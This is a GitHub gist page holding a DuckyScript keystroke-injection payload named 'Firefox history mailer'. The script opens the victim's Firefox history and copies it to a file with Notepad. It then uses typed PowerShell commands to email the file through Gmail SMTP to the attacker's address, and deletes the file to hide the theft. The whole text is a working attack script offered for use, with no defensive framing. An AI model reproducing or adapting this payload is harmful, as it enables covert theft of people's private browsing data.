Skip to content

Instantly share code, notes, and snippets.

@meatyite
Created March 30, 2019 13:37
Show Gist options
  • Save meatyite/78c1fa3cd9d501edddb08db332ab88a9 to your computer and use it in GitHub Desktop.
Save meatyite/78c1fa3cd9d501edddb08db332ab88a9 to your computer and use it in GitHub Desktop.
Firefox history mailer (duckyscript)
GUI r
DELAY 500
STRING firefox.exe
DELAY 50
ENTER
DELAY 1500
ALT
DELAY 100
RIGHT
DELAY 50
RIGHT
DELAY 50
RIGHT
DELAY 50
ENTER
DELAY 50
ENTER
DELAY 500
CTRL a
DELAY 100
CTRL c
DELAY 100
GUI r
DELAY 500
STRING notepad.exe
DELAY 50
ENTER
DELAY 1500
CTRL v
DELAY 600
CTRL s
DELAY 1000
STRING logfile
DELAY 50
ENTER
DELAY 1000
ALT F4
DELAY 500
GUI r
DELAY 500
STRING powershell.exe
DELAY 50
ENTER
DELAY 1500
STRING $SMTPServer = 'smtp.gmail.com'
DELAY 50
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
DELAY 50
ENTER
STRING $SMTPInfo.EnableSsl = $true
DELAY 50
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YourGmailUserName', 'YourGmailPassword');
DELAY 50
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
DELAY 50
ENTER
STRING $ReportEmail.From = 'YourGmail@gmail.com'
DELAY 50
ENTER
STRING $ReportEmail.To.Add('YourGmail@gmail.com')
DELAY 50
ENTER
STRING $ReportEmail.Subject = 'DuckyPwner'
DELAY 50
ENTER
STRING $ReportEmail.Body = 'Attached is your duck PWN report.'
DELAY 50
ENTER
STRING $ReportEmail.Attachments.Add("$env:USERPROFILE\Documents\logfile.txt");
DELAY 50
ENTER
STRING $SMTPInfo.Send($ReportEmail)
DELAY 50
ENTER
DELAY 50
STRING rm "$env:USERPROFILE\Documents\logfile.txt";exit
DELAY 50
ENTER
DELAY 5000000000000000
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment